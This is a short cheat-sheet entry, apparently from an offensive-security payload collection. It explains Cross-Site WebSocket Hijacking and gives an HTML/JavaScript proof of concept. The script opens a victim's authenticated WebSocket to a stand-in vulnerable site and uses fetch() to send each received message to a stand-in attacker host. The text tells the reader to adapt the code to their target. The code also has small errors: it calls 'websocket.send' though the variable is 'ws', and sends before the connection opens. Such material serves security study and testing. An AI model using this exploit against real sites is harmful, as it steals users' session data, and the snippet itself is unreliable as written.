## Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket handshake is not correctly protected using a CSRF token or a
nonce, it's possible to use the authenticated WebSocket of a user on an
attacker's controlled site because the cookies are automatically sent by the
browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received
data from the WebSocket to the attacker:
```html
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Some text sent to the server");
</script>
```
You have to adjust the code to your exact situation. E.g. if your web
application uses a `Sec-WebSocket-Protocol` header in the handshake request,
you have to add this value as a 2nd parameter to the `WebSocket` function call
in order to add this header.
